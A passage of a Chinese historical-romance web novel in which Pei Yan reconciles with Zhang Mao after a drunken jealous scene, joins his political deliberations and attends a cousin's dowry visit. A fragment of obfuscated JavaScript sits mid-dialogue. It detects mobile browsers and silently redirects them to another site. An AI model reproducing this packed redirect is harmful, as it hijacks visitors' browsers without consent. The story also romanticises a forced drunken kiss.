一口一个“家”,酸味儿可以腌一缸子菹菜! 裴妍腹诽,你家不是凉州刺史府么!面上却一句不敢说。她知道他在气什么,无非是司马毗午间来寻过她? 她环顾四周,容秋和半夏皆不见踪影。又见榻边百鸟屏后的椸枷上正挂着一张织锦的披风,便想取来给他披上——伏天染了伤风不是玩笑的。 刚绕过张茂身边,突觉腕间一紧,“啊!”她瞬间跌入一个硬邦邦又潮兮兮的怀抱里。 裴妍只觉鼻子要断了,他的胸膛和铁板一样,硬的要死。 烛灯差点落地,他一手接住烛台,一手困住她。 “去哪?”张茂轮廓分明的脸对上她的,眼含刀锋,嘴角下沉,身上爆发出一股不恶而严的气势。 就见他的脸突然贴近,沉声问她:“与我多说一句都嫌多余,和旁人就能有说有笑地聊上半日,嗯?” 裴妍暗自叫苦。所以夸人不能太早,她午间是怎么在司马毗面前吹嘘张茂谦和温柔的? “说话!”他眉峰微蹙,带着经年掌兵的赫赫威仪。 低沉的声线自额顶传来,裴妍禁不住一抖。 她眨巴着眼抬起头来,像看着一个不认识的人——原来他平时和自己说话,是敛了声气的,原来他平日,是这样训兵的。 “我没有与他有说有笑的。”她听自己解释道。 张茂将烛灯秉得近些,明灭昏黄的光亮照亮了俩人的脸。只见他眼尾猩红,说出的话却带着玩味与不甘,“整整一个时辰,你们没说话?还能做别的事?” “瞎说八道!”裴妍一跺脚,之前清醒的时候,他还信誓旦旦地说,相信司马毗不会妄动她哩!醒的时候是宽和大度的谦谦君子,醉了却是个十足的小气鬼! “你真是喝坏了脑子!” 她挣扎着要出来。张茂却不肯。哪怕是单掌,也将她束得牢牢的。 “放开!” “晚了!早与你说过,我既选定了便不会轻易放手!” 哪跟哪呀! 裴妍下意识地想去踩他的脚。可武将的反应何其敏锐,张茂闪身躲过,反用自己的双腿将她的一条腿稳稳别住! 裴妍瞬间动弹不得,身子也紧紧贴上他的。 她分明听见张茂深深地倒吸一口气,困住她的胳膊越收越紧。 “你……”她感觉到男人的脸越来越近,那炙热的混合着醉意的鼻息就喷在她的耳边。 终于,一道柔软,贴上她的脸颊,裴妍浑身起了鸡皮疙瘩——他在吻她! 自二人相遇后,张茂大多数时候清冷而自持。除了,醉酒。 裴妍脸上瞬间热辣辣的,跟喝了姜茶似的。她感到张茂在她的颊边停了停,很快又落了下来,每一个吻都是浅尝辄止,一路来到她的唇边。 本能的,她一动不敢动。因她察觉,越是挣扎,张茂锁得越紧。 起初,他吻得轻缓,带着小心翼翼的试探。 裴妍甚而觉得,脸上痒兮兮的。她忍不住缩了缩脖子,嗔道:“哎呀,别闹!” 然而,这话竟是点着了他。他的吻突然密集起来,也不再停顿,而是一路蜿蜒,顺着下颚,来到了她的脖颈,一路势如破竹,透着志在必得的霸道。这才是他行军时的样子! 裴妍只觉他的唇舌像是一团火焰,所行之处寸草不生。 她烫得受不住,感觉整个人要烧起来了。始作俑者却丝毫未觉,仍贪婪的游弋在颈边。 她认命的闭上眼睛。然而下一瞬,她忽然惊叫起来——他手里的烛台,不小心燎到了她的手腕! 张茂瞬间清醒过来,连忙松开她,拉过她的手,检查伤势。 “可有烫到?”他焦急地翻看她的衣袖,只见白嫩的藕臂上红了一片,不过并未起泡或是破皮。 他不敢大意,见几步远的盆架上,铜盆里装着清水,赶紧将她拉到旁边,弯腰将她的手放入凉盈盈的水中。 “好些了吗?”他一手拉着她的小臂,一手往她的腕上掬着凉水。 他似是彻底醒了,说话间又恢复了以往的温和,似乎方才那个恣意妄为的男子只是裴妍恍惚间出现的幻觉。 裴妍愣愣地看着他,半晌,抽抽鼻子,委屈道:“阿茂,方才,我都不敢说话!” 张茂却没有抬头,盯着她隐在水中的手没有说话。半晌,他直起身,仍拽着她的手,拿架子上的巾帕给她将手臂擦干。 “我今晚酒多了,方才吓着你,对不住。” 他语带歉然,但裴妍分明听出了一抹疏离。 她知道他心存芥蒂。这不是她愿意看到的。于是,她赶紧将袖囊中的那张赤红洒金的婚启递给他。 “你这通火,发得好没道理。” 张茂看了她一眼,迟疑地打开,脸上瞬间云销雨霁,取而代之的是一抹不可置信。 “司马毗要娶裴绰之女?” “这也是我姑姑的意思,总不能放任他一错再错。” 张茂周身的威压瞬间消散,甚至嘴角不自觉地带上一抹笑意。 男人的脾气,何尝不像六月的天! “阿妍,你故意的!”不早说。 “你上来就吼我,还质疑我俩有私……” 一个吻兜头砸下,裴妍只觉唇间一烫,呀!他又偷袭! “是我的错。”张茂揽着她,脸上既有不好意思的愧色,又带着一抹尴尬。 怪他,听到司马毗竟公然来府里寻人,他便起了气性——当他是死的吗? 彼时常山王与豫章王皆在,他只好强压着怒火,勉力应酬。好容易散宴,他不顾风大雨急,一路快马赶来。却见她正对着司马毗送她的东珠,睹物思人,一副意犹未尽之态。再好性的人也要气炸了! “我什么时候意犹未尽了?”裴妍诧异地看向他,“我不是在想司马毗,而是在想他说的话。” 见他眸中利光一闪,她赶紧一口气把话说全:“司马毗说我阿叔当年很可能没有参与楚王的事!” 竟是这个? 张茂放下心来。但仔细思索她的话,他不禁别有深意地看了她一眼。 他绕过她,径自坐到案边。台几上备着凉茶,他给自己倒了一杯,拿在手边,却不喝。 “你想知道当年的事,是因为常山王?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311551|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我家如今风雨飘摇,可禁不住再来一个外敌。”裴妍坐到他身边,直直地看向他。 “为何不问我,反要问他?” “我本想问你的。可你却只顾与幕僚说话,还把我遣了回来,一句也不让我多听。我哪敢多嘴,万一坏了你的谋划呢?” 裴妍抿着樱桃样的小嘴,一副你自找的态度,倒把张茂逗乐了。 “不是你嫌一身尘土太脏,要回来沐浴的?”张茂哭笑不得。他要议事,总不好带着她走。这才让她先回来歇着。 他捏着她的尖尖的下巴摇了摇。“还有,我能有什么谋划?值当你怕成这样?” 裴妍一把拍掉钳制住自己的手——他清醒了,她便不再怕他。 “我姓裴,你姓张。谁知你家有什么勾当,不可对外人道?我还想多活几天呢!” 这话张茂不爱听。他“嘶”地一声,“你我已在郡公面前过了明路,你这张裴氏的名头不过是迟早的事。还分你家我家?何况,我几时做过对不住郡公府的事?” 裴妍低头,讷讷道:“既如此,以后你和僚属们说话,不许把我撇在旁边。” 张茂含笑,弯起食指轻扣了下她光洁莹润的脑门。 “原以为你不喜欢这些俗事。这才打发你回来。既然你想听,不如以后每日辰时来刺史府点卯。我的书房里有内室,架个屏风拉上帷帘,你尽可以坐里面听。” “辰时?这么早?” “我寻常卯时便起身练剑,三刻起便与人议事。为了你能多睡会,我已将议事的时辰挪后,再晚,便要误事了。” 裴妍瞪大眼睛。卯时天还没亮吧?因着她祖母长年修道,只每月初一和十五才让晚辈来问安,故而自她母亲到她,都不是能早起的人。 可张家不同。习武之人讲究夏练三伏冬练三九,早起是常事。府里军政人事复杂,从与幕僚商议,到敲定布置,都宜早不宜迟。裴妍以后既要来张家生活,有些习惯,确实需要提前适应。 “午间有一个时辰休息,你可以吃些点心,甚而打个盹。不过不能睡着,下半晌还有军情要处置。若逢宴请,耽搁了理事,夜间便要熬夜了。” 真苦! 裴妍咬唇,望着一闪一闪的窗外,陷入天人交战之中。 “你既要像男子那样上桌执棋,便要放掉闺阁女子的绮思,做好吃苦头的准备。”张茂并未催她,而是悠悠然地斜倚着缇几饮茶。 “你可要想好了。我这里没有红宝玉珠,没有胭脂香丸,更没有闲书玩具,只有枯燥地军务、政务,甚而,你还会听到些阴谋诡计。” 裴妍有些愣怔,张茂是说,他那里,又苦,又难,又无趣?良久,她试探地问:“你想我去吗?” 闻言,张茂抬头看她。 “私心里,我并不希望你来。人在官场,许多事,没那么清白。若遇党争,就是你死我活的修罗场。你一个女儿家,在内宅算算账目,管管仆役婢子,或外出与官眷赏玩交游,不比听这些蝇营狗苟强?” 他骨骼分明的指节摩挲着杯口,露出一抹自嘲的笑来。 “阿妍,你我好似在一处,但行的从来是不同的事。番僧讲时为世地为界,你当真要来到我的世界?” 裴妍回头看着他,眸中由满满的诧异,到静水流深。 原来他和她,扛的从来不是一个担子! 张茂确实很少胁迫她做什么,然而他总能先小人后君子地,把给她的选项加好利弊,摊开来给她看,明明白白的,让她自己选。 他知道她现在对权利的渴望,也知道她从前吃不得苦,所以他要她在“清醒的累着”,与“糊涂的闲着”之间,谨慎地做好抉择。 落子无悔,选定之后再反悔,便是自己娇气,扛不住这道重担,也怨不得他了。 裴妍蹙着柳眉,歪头想了半晌。终于,似下定了决心,她给自己也倒了杯凉茶,碰上张茂的。 “明日,辰时见!”她一口饮尽,豪情万丈。 既要得,便要舍。这个道理她懂。没有人可以躺着把事做成了——她可不想再变回那个两眼一抹黑的瞎子了! 85. 一花一木非所属,眼妒手弱受折磨 裴妍想起什么,问张茂:“你白日饮宴,晚上又来我这,回去还要理事?” 张茂点头,今日事今日毕。 裴妍赶紧赶人,推着他往门外走。 “别杵着了,快回去做事,想一夜不睡么?” “阿妍,我身上还湿着呢!”这回换张茂委屈上了。 是啊!这可怎么办?张茂身量太高,她那几套男装都不合适。 “听雨?听雨!”裴妍裹上披风,拉开槅门,想叫他去跟外面的部曲要件合身的来。 “阿妍!”张茂来不及阻止。 裴妍前脚踏出房门就傻了眼。 屋外暴雨初歇,南风混合着潮气席卷而来,撩起她轻薄的裙角。 木质的廊道上一地狼藉,就见容秋和半夏被两个高头大马的部曲反手扣在背后,嘴里还塞了帕子,好不狼狈。 她俩见到元娘如遇救星,“呜呜”的摇头,却在张茂出来的下一瞬哑了声。 一旁待命的听雨赶紧滚了出来,状似谦卑地朝裴妍行礼,眼神却飘浮地瞄向她的身后。 看到这出,裴妍还有什么不明白的?怪道没见容秋和半夏呢,合着自己的左膀右臂,早被人卸了甲! 于是刚落下的气性又升了上来,脸色不虞地瞟向身后:“呵,打狗还得看主人呢!” 张茂些微尴尬地摸摸鼻子,理由却冠冕堂皇:“她俩是你府里的武婢翘楚,不试上一试,如何知道功力如何?如今看来,她们连我手下的三等武卒都打不过。防务这块,阿妍还得用心。” 他还有理了? 张茂想描补几句,裴妍却狠狠地瞪了他一眼,径自绕过他进了屋里,砰地一声关上了槅门。 张茂苦笑地掖了掖湿透的领口。听雨将从别处借来的干披风与他裹上。两个部曲也很有眼头见识地放了手。 半夏老老实实地到张茂跟前请罪。容秋却敷衍地朝张茂行了一礼,又对听雨哼了一声,随她主人一样,径自走了。 听雨赶紧给她求情。却见张茂不以为忤地挥挥手,裹紧袍子,带着手下回去了——今晚还得连夜给书房开个侧门出来。 这一夜,裴妍睡得很不踏实。 起初,她很生气——张茂心里有猜疑,便可以一声招呼不打,直接扣了她的人,来她这里撒酒疯? 可是,她能怎么办呢?势单力孤,最能拿得出手的两个部下轻轻松松就被张茂压制。他强势若此,她还没有蠢到与他去硬碰硬。人在屋檐下,不得不低头的道理,她还是懂的。 何况,张茂允她进刺史府书房重地,还愿意手把手地教她理事。这样一想,她忽而觉得,今晚的委屈倒也值得。 甚而,她摸摸心口,隐隐地,竟对他今日吃醋跋扈的样子有几分欢喜——原来他这样在意她!原来他平日里的大度都是装出来的! 张茂说政务无趣,可他不知道,再无趣的事,有他陪着,便是最有意思的事。 裴妍想起从前在家学的时候,若叔祖明日要讲她喜欢的故事,她也会这样辗转反侧难以入眠。 她自小是和裴憬一起长大的。而裴憬是府里出了名的富贵闲人,除了数算,似乎没什么要紧事可做。她很好奇,张茂也好,叔父也罢,他们平日里都在忙什么? 想到即将要与张茂一处共事,从早到晚,一待便是一天,她的脸上就热辣辣的,心头似被奶猫的肉爪挠过,既疼又痒,如蚁啮心——细思这些年,哪怕定情后,他亦与她聚少离多。他总是很忙,忙到裴妍已经可以很快的适应他的每次分离,忙到她已经习惯捂着伤口自己去舔。 他来,她迎;他走,她送。她和世上大多数军属一样,似乎已经麻木,连念想一声都是多余。 可是,私心里,每一次午夜梦回,摧心剖肝时,她还是会疯狂地想念他,尤其这两年——不单单是感情上的。她知道,如今的张茂,还是她入世的底气。她握住了他,就是握住了凉州半数人马! 她甚至不觉得羞愧。多年前,她在张家岌岌可危时扶了他一把。如今,轮到张茂来拉她了——原来冥冥之中,自有注定。 何况,她与张茂是要共度一生的。夫妇一体,他的便是她的,她的也是他的,这没什么不对!她给自己打气,却不知为何红了脸,拿薄被捂住了头…… 翌日一早,天刚放亮。 当听雨领着裴妍一行来到刺史府书房时,张茂将将打完一套拳法,正在拭汗更衣。见她这么早就来了,星眸中闪过一丝诧异,一边打着外袍侧结,一边走过来观察她的脸色,无奈道:“不是说好辰时么,怎么卯时二刻就到了?”算上脚程,她不得寅时就起了? 为出门方便,她今日依然穿的灯草黑劲装,楚髽发,发顶戴了只皮冠,拿白玉子午簪将将插住,显得干净利落。 “一日之计在于晨。我既要跟你学那定国安邦的本事,就得戒了睡懒觉的毛病!”裴妍一边四下打量着张家的书房,一边理直气壮地道。 书房是一个家族的核心地带。张家毕竟是旧邸改成的刺史府,书房不大,一间主屋,两个耳室。主屋深阔,由一个五折山海屏隔作内外两间。 她负手看了一转,话题又到他身上。 “何况,”裴妍扫了一眼他的脸,揶揄道,“你眼下的青黑可比我重。” 张茂摇摇头,不与她多辩,直接牵着她绕过屏风,进了书房里间。 这里显然连夜布置过,除了书案草席,靠墙的窗边还放了张四尺矮榻,另侧有道小门,可以自由出入。 裴妍狐疑地看向张茂,瞧这门上鲜亮的红漆,该不会是昨晚才装的吧?何必费这功夫? “我这里前门进进出出的,除了文士,还有武夫,甚而三教九流的暗探,万一冲撞了你,可不许叫。”他调侃,顺便解释。 屏风后的两面墙上还挂着不透光的青玉帷幕,放下后内室确可自成一体。只要她不发出声音,便无人知晓有人在里面。 张茂指了指山水折屏角落处一尾锦鲤的眼睛。只见那鱼眼活灵活现,于天光下反射着一道荧光,不像绣的,倒像嵌的琉璃。 “来看看?” 裴妍从善如流地站到屏风前,透过鱼眼望去,果然外面的动静尽收眼底。 张茂双手抱臂,问她:“可还满意?” 裴妍浅笑盈盈,刚要点头,忽而,瞄到案上的茶水瓜果,点心小食,樱桃嘴儿又撅起来,葱长的食指点着那些杯盘瓦碟。 “劳驾这些收走。” 他还把她当过去的娇娇儿呢! 张茂莞尔。“何必呢?人总有累的时候,不单单是你,间歇的时候,我也要进来用些急饷垫一垫的。” 他又指着那道小门,“你初来,若实在坐得无趣,或有什么不想听的事,便外出走走。” 裴妍不服气的挑眉,看不起谁呢! 很快,她便被打了脸。 起初,张茂不过处理了一些京中的人事调动。裴妍的案上有一张手抄的京城舆图,看墨色,显然是为她新备的。她趁机在上面勾画,倒也便宜。 不多久,又有人来报孙会与王舆两家的动静。道那日俩人大打出手后,孙秀亲自出面“安抚”王舆,后者已写下放妻书,将田氏送与了孙家。 裴妍诧异,听半夏描述,那王舆明显是个心高气傲的主,居然甘愿做这绿到家的王八? 转念一想,他忍得越紧,心里必恨的越多!如此,韩芷那里,她也算不负使命了! 裴妍正兴致勃勃地听着呢,紧接着,就见一个高壮的胡人部曲,抱着一个四四方方的黑漆匣子进了门来。 听雨面无表情的上前,赤着手,将一个双眼圆睁、满脸都是干涸的血斑的人头给拎了出来,脸贴脸的校对无误后,朝张茂点了点头。 张茂于是命那胡人将这个装着人头的匣子送去挚虞处。 “若师叔问起,你尽可讲得详细些。”如此,也可平一平老人家的怒气。 突然,里间传来一声脆响,似是毛笔落地的声音。张茂微微蹙眉——他不想让裴妍来这里也是为此。她娇娇软软的,心比莲花还净,这些腌臜事,本不该让她知道! 可他不敢再避着她——自钜鹿郡公仙逝后,裴妍便将自己裹在了对时势的忧惧里。对周遭的人也好事也罢,变得敏 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“要不要喊容秋带你出去转转?” 书房重地,容秋也不得进,只能在侧门外候着。 裴妍摇头,闭目略缓了会,身子也渐渐放松下来。其实死人什么的,她倒是不惧,叔父最后的样子她不是没见过。她只是,被那突然拿出的人头吓到了。 尤其在场诸人一脸平静的样子,听雨与那个人头甚至鼻子对鼻子! “他是怕杀错人。做任何事,小心驶得万年船。”张茂淡淡道。 “那人是谁?” “伏胤。” 不认识!裴妍从张茂的怀里出来,想了想:“那必是个坏人!” “哦?何以见得?”张茂有些感兴趣看向她。 “挚虞师叔端敏仁厚,他恨得要死的人,必是大奸大恶之徒!” 张茂莞尔,捏了捏她俏挺的鼻尖。“识人断事,有那味儿了!” 这才跟她讲起始末来。 原来在她离京的这段时日,京中并不太平。淮南王司马允不满赵王乱政,曾率军夜攻东掖门,本可以一鼓作气拿下赵王这个乱臣贼子,却在关键时刻被自己的心腹——司马都护伏胤出卖,功亏一篑,自己也遭杀害。 “吴王是淮南王胞弟,素来兄弟情深,此番也受到牵连,被贬为宾徒县王,已经就国去了。” 记得张茂曾与她说过,挚虞师叔与吴王相交莫逆,还曾做过吴王府幕僚。“所以,师叔便请你替淮南王报仇?” 张茂点头,叹道:“罪魁祸首自是赵王孙秀之流,可惜要徐徐图之,暂动不得。不过那背信弃义的小人伏胤,杀了又何妨?” 裴妍点头,却见他神色如常地拿起面前漆盘里的一块粔籹就往嘴里放。她想到刚才那具人头和这蜜色的甜点是一个形状,忍不住就反胃起来。 “你居然吃得下?” 张茂不以为意:“我杀的人多了,难道天天不吃饭?” 裴妍深吸口气,“你故意的!” 这个匣子从进门到出去不过半刻钟,他若不想让她看见,有的是法子。 张茂放下糕点,忍不住既欣慰又纠结。 裴妍长大了,也不好糊弄了。 “你确定要听下去?”既被她识破,张茂也不遮掩,告诉她,“这才见到一个死人,你就难受成这样。我这里,死更多人的事,还在后面。” 裴妍却反握住他的手,水盈盈的杏花眸子倒印着他的身影,问的却是另一件事。 “阿茂,你第一次杀人时,也很怕吧?” 张茂锋利的剑眸忽而闪了闪,有些不自然地撇过头去。 “还好。我是男子,岂可畏缩。” “这种事,何分男女。无非看得多了,便没了那份心悸。”裴妍压下不适,纤纤玉手亦伸向那盘粔籹,拈起一枚放进嘴里,让蜜味掩盖住舌尖的战栗。 她露出一抹笑来:“你看,适应也没那么难!” 张茂一动不动地盯着她,直到她苍白的脸上重又红润起来,半晌,莞尔:“好!” 86. 解把飞花蒙日月,不知天地有清霜 之后,张茂便不再顾忌。于是裴妍又听到了许多阴私事。比如,张茂正设法挑拨孙秀与卫将军张林的关系——这二人皆是赵王的左膀右臂。若此计能成,赵王内部先就乱了起来。 这倒与韩芷的计策不谋而合。只不过韩芷作为内宅妇人,用的是阴谋,而张茂用的是阳谋——怂恿张林向赵王长子司马荂告发孙秀专政弄权,结党营私。可司马荂与孙秀之子孙会私下里却是酒肉兄弟,这封告发信无疑是张林的催命符…… 晚晌,裴妍窝在张茂怀里吃着哺食。 张茂见她嘴里啃着羊腿儿,水汪汪的眼珠子还不停地瞄着白日里记下的笔录,遇上不清楚的,赶紧不耻上问,趁着正主在身后,吧啦吧啦问个不停。 张茂一边答复她,一边拿手巾擦着她嘴边的油渍,没多久,终于忍不住将她的卷轴合上。 “好了,食不言寝不语。晚上天光不好,莫要看了。” 裴妍却直勾勾地盯着那张笔录,意犹未尽。怪道人人争着掌权呢!这种万事皆在掌握的感觉,真好! “这些事非一日之功,欲速则不达。日子长着呢,急什么?” 可惜她如今的“权”是张茂给的。张茂不让她吃饭的时候看,她就得先放着。 裴妍只好把心思转回到案桌上来。见满桌的菜里,除了烤羊腿,还有河西才有的葡萄,大眼睛瞬间溜圆:“呀!好久没吃到了!” 如今西边和北边都不太平,多少年的丝路也断了,想尝到这异域的美食真是难上加难。虽说蜀中也有的卖,但花费甚巨。裴頠在时,主张家用从简,不允许她们在吃用上过度浪费。 她上次吃葡萄是什么时候?依稀还是几年前的上巳节,裴妃姑姑带给她的吧? 张茂也想起这事,自得道:“我当是什么,不过几颗葡萄,你喜欢,我让人给你送一箱来。” 裴妍的眸子更亮了,太好了!她还能分些给阿鹇,始平公主还有姑姑!回京这么些天,为避人耳目,她不敢随意出门。但这些时令嘉礼总该送一送。 她想了想,呜,给那位族妹裴妙也送一些去吧。尽管她的父兄不是好人,但斯人已逝,她没必要跟个小女郎过不去。何况她很快就要嫁进东海王府了,看在姑姑的份上,她也得亲近亲近。 一连几日,裴妍都早出晚归地腻在张家的书房里,孜孜不倦的从张茂身后汲取各类阴书密启、露布音讯。精神头比张茂这个正主还足。 张茂看着她这使不完的牛劲儿,想起之前在闻喜,他不过委婉地点了她一句不知人间疾苦,她居然脱掉锦袍,换上麻衣,咬牙学会了泥里刨食,种地种菜! 他看着正埋头写划的裴妍,既心疼又欣赏。这个他心悦的女郎啊,天真未凿,朗然如玉,赤子其心,粲然如华,还……酷爱较真! 他甚而有些后怕——倘若当年他未能进得郡公府,岂非要和阿妍生生错过? “在想什么?”裴妍抬头,见张茂正负手立在她身后,目光灼灼地盯着自己。 她好奇地摸摸脸颊。“我脸上沾了墨水?” 张茂摇头,一双锐利的剑眸里含了一滩春水,柔情脉脉,开口道:“阿妍,明年六月十六,天地交泰,嘉会其时,是挚师叔占出的吉日。我们完婚吧?” 裴妍一愣,没想到他在想这个。算算日子,那时她也除服了,下意识点头道:“好哇!”说完,她才觉得自己答应得未免急切了些,脸上不自觉地带上了红晕。 张茂莞尔,握住她的柔荑,将她带进怀里,却听她小心翼翼地道:“我阿母那里……” “郭大夫人那,我已请阿耶去信。” “啊?”裴妍抬头,粉拳不轻不重地锤在他身上,“你都定下了才与我说!” “无法,凉州路远,早些启程,也好过夜长梦多!” 正说着话呢,就听说半夏在外求见。 半夏一直在别庄练兵看家,这次来张家是因收到裴鹇的拜帖。 裴妍接过来看了,道:“阿鹇约我明日去裴绰府上,给裴妙添妆。” 裴娴与裴妙都属于嫡枝。 “我与阿鹇传过信,哪天她去找裴妙,叫上我一起。” 张茂却忽而想起,多年前上巳节时,那个小女郎阴狠嫉妒的眼神。若他记得没错,那便是裴妙吧?于是提醒她道:“记得多带些人过去。” 裴妍却笑:“她家是龙潭虎穴不成?她阿耶虽对不住我家,可也拿命赔了。” “宴无好宴。你与司马毗的事,哪里能瞒得过裴家人?你不想为难她,难保她不会为难你。” 听到这话,裴妍沉默了。她位置确实尴尬——整个裴家谁不知道她曾与司马毗订过亲?甚而解除婚约后,司马毗还不甘心地将她掳走。幸亏有张茂搭救,她才得以逃出来。司马毗这才在裴妃的做主下,与裴妙定了亲。 裴妍的一大好处就是听劝。于是翌日一早,裴妍将她那八个武婢带了其四,加上容秋和半夏,先去薛家接了裴鹇,这才浩浩荡荡地去了裴绰府上。 裴绰身前官至黄门侍郎,不高不低的位阶。不过他毕竟是冀州刺史裴徽之子,得益于本家提携,府邸位置不错,与冀州刺史府同在永康里。 “没事,我阿母也在呢。”裴鹇看出她的紧张,握紧她的手道。 裴鹇所在的这支是裴徽的嫡长房长子长孙,世代承袭族长位,而裴绰只是幼子庶枝。有族长一家罩着,裴妍安心许多。 不多久,车行至永康里,远远就能见到冀州刺史府硕大的门楼耸立。过刺史府西行数里,才在一处不大的宅邸前停下,这就是裴绰府上了。 下得车来,裴妍抬头,见门口既无黑白魂幡,亦无喜绸红布,感叹热孝嫁女真是有悖伦常,你说这家人是该悲还是该喜? 经引客的阿媪带路,裴妍和裴妡先去拜见裴绰的妻子钟夫人。 裴鹇的母亲柳氏坐在主宾的位置上,还有其他几房姻亲故旧家的夫人也在。柳氏长年随夫君蛰居老家,难得来京城。不过她为人大方机警,说话间,三言两语就能把场面活络起来。在裴家女眷里可以说左右逢源。 裴妍见上首有个一身素服,头梳抛家髻的妇人正坐主位。瞧她身段体态,倒与自己母亲有几分类似,应有不足之症。尽管她勉力欢笑,但先后丧夫丧子,掩不住的容颜憔悴,说话间,眼眸泛愁,笑是苦笑,让人不忍直视。 看到裴鹇,钟夫人打起精神,招手让她坐自己这边。 裴鹇噔噔噔地跑过去,窝在钟夫人身边与之寒暄。实话说她与这位叔祖母并不熟稔,但多年应酬,这点演技还是有的。 钟夫人又问起她孩子的事,裴鹇跟着交代了几句。未几,她指着站在一边尴尬地数地砖的裴妍,道:“这是阿妍,叔祖母怎么把她忘了?” 真忘了?裴妍不这样想,当初叔父在世时,她和裴妡哪次回本家,这些夫人不是亲自相迎? 一旁的柳氏赶紧接口,故意嗔怪裴鹇:“怪你!自己一来就往祖母怀里坐,却把贵客落在一边!” 这话说的,诸人想无视裴妍都不成了。 钟夫人和在座的女眷显然并不待见她——一方面,自然是怕受裴頠牵连,另一方面,拜司马毗所赐,裴妍近段时日在京城的名声很不好,以至于整个河东裴氏都跟着蒙羞。 但来者是客,身为主人的钟氏不好过于冷落她去,只好不尴不尬地喊她坐下吃茶,稍稍聊上两句。 裴妍观其言察其行,琢磨着她似乎并不知晓丈夫和儿子对钜鹿郡公府做过什么,对她自然也谈不上爱或者恨,这倒让裴妍放松下来。 且裴妙属热孝期间出嫁,钟氏本就在丧中,婚礼仪程一应从简。彼此都只想着赶紧把过场走完,也好桥归桥,路归路。 于是没吃几口茶,柳氏便打发她们去看裴妙。 裴妙的小院离主屋不远,出了正房西行百步就到了。 今日许是好日子,各家添妆的女眷都到了。 裴妍与裴鹇联袂入内。就见一阵香风鬓影,群芳荟萃,不大的闺阁里,或站或坐,姐姐妹妹姑姑侄女一堆。 诸人看到她俩,原先的热闹突然一顿,取而 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这话瞬间捅了流言窝,在女郎里引发了骚动。裴妍与东海王世子和凉州刺史府二公子之间的风流事,不知被编出多少段子来了。一时间,在场的女眷皆对裴妍侧目,有艳羡,有嫉妒,有惋惜,有看热闹…… 裴妍蹙眉,她与裴妙不熟,此前不知道她是这么个刻薄的人。她想起司马毗的骄矜自傲来,有些同情地看向裴妙——她这性子,只怕俩人难成佳偶。 裴妍没说话,裴鹇先就气炸了。她好歹是族长之女,嫡枝中的嫡枝,这裴妙算哪根葱,敢这么阴阳怪气的! 就听裴鹇不动声色地道:“姑姑只知其一不知其二,葡萄可不单单河西才有。每年我阿母都要派人去蜀中采购几箩筐回来,口味比河西的还好,就是花费多些。” 一席话既帮裴妍解了围,又暗呛裴妙家资单薄,孤陋寡闻。 眼见着裴妙变了脸色,裴鹇略带得意地对裴妍道:“早知道你就不该逃出来,若你当了这世子妇,还有她什么事儿?” 裴妍赶紧按住她,周围全是人,可不能乱讲。 招呼打过了,裴妍知道自己不受待见,便想早些送完礼走人。 裴鹇亦正有此意。她命人将自己的百子金绣屏捧出来。虽不是什么大礼,却能添个好彩头。 裴妙从善如流地收下了。 轮到裴妍时,诸人皆倒吸一口凉气。只见红布头揭下,一枚碗口大的夜明珠,晶莹剔透,光可鉴人,哪怕是白日,亦幽幽地散着荧光。 一时间,诸人看向裴妍的眼色更加复杂起来。有城府浅的,拿半大不小的声音问旁边的姊妹:“她家不是败了么?居然还拿的出这么好的宝物来!” 裴妍又听到诸如“不会是凉州张二郎给她的吧?”“了不得,后夫送前夫?”之类的窃窃私语。 裴妍扶额,她家叔父虽没了,可并没有抄家,这点私房没有么?再者,送厚礼与裴妙,原只是为了还司马毗的赠珠之情。她们一个个的,都想到哪里去了? 裴鹇也吓一跳,她轻轻拉扯裴妍的袖口,小声道:“你跟她很熟吗?谁家添妆这么大手笔?”她这礼一出,其他姊妹的薄礼大可扔了。 裴妍解释:“这不是还姑姑人情么?” 那裴妙脸色亦不好。她知道自己能嫁入东海王府,实则是捡了裴妍的漏。她本来就怕被人看不起。如今倒好,裴妍来送添妆,上来就给了这么一份压箱底的厚礼。以后这嫁妆单子上最显眼的就是这枚夜明珠。这不是膈应人么? 一旁裴妙的乳媪却两眼放光。这枚夜明珠得值百金吧?裴妙的父亲是庶枝,当初分家时,所得资财不多。如今,家主和大郎皆早逝,主母的全副心思,都放在幼子二郎身上,能给女儿的陪嫁并不多。 她拽了拽裴妙的衣袖,朝她使了个眼色。 裴妙会意,尽管心内不甘,但人怎么能与钱过不去?何况那么多双眼睛看着,伸手不打笑脸人,她只好僵着脸,挤出一丝客气的笑来,咬牙道:“阿妍姊姊有心了!” 87. 泽国江山入战图,生民何计乐樵苏…… 裴妍浅笑:“姑姑喜欢便好。” 她无视那些探究的不怀好意的眼神,只是淡淡的站在那,如菊在庭,不卑不亢,未使半分力气,就已艳压群芳,让那些自以为能踩她一脚的女郎恨得要死。 如今裴頠已逝,钜鹿郡公一门已倒。她这个没了家门又坏了名声的孤女,哪里来的底气,这么雍容地与她们说话? 有看不惯她的闺秀欲上前讽刺几句,却被跟在后面的半夏拦住去路。 那小女郎正欲训斥,仰起脖子,就见到人高马大的半夏正低头盯着自己,目露凶光,一副下一瞬就会刀人的模样,吓得瞬间噤声。 裴妍就在这片诡异的沉静中,拉着裴娴,去钟氏那里回了两句话,告辞出府。 半路上,裴娴一直盯着她,一副欲言又止之态。 “怎么了?吞吞吐吐的。” “你以往半点委屈都受不得,今日怎么对裴渺一忍再忍?她那个猖狂样子,你不生气?” “你都看出她猖狂了,姑姑和司马毗会看不到?”裴妍把玩着便面底下的八宝流苏穗子,眸中清凌凌的,说出的话,如霜后寒冰:“司马家没有善人。她这番作态,杨家表妹就是前车之鉴。” 这话听得裴娴骇了一跳。原来裴妍早已猜到裴渺的结局,就这么静静看着,不喜不怒。 裴妍摇头,不是她不想帮忙——她来这之前,本想和裴渺好好聊聊姑姑的喜好、王府的内情。谁曾想,裴渺是这么个人!既如此,她也没必要多嘴,因她就算说了,裴渺也只会以为她在炫耀。没得结下更大的仇! 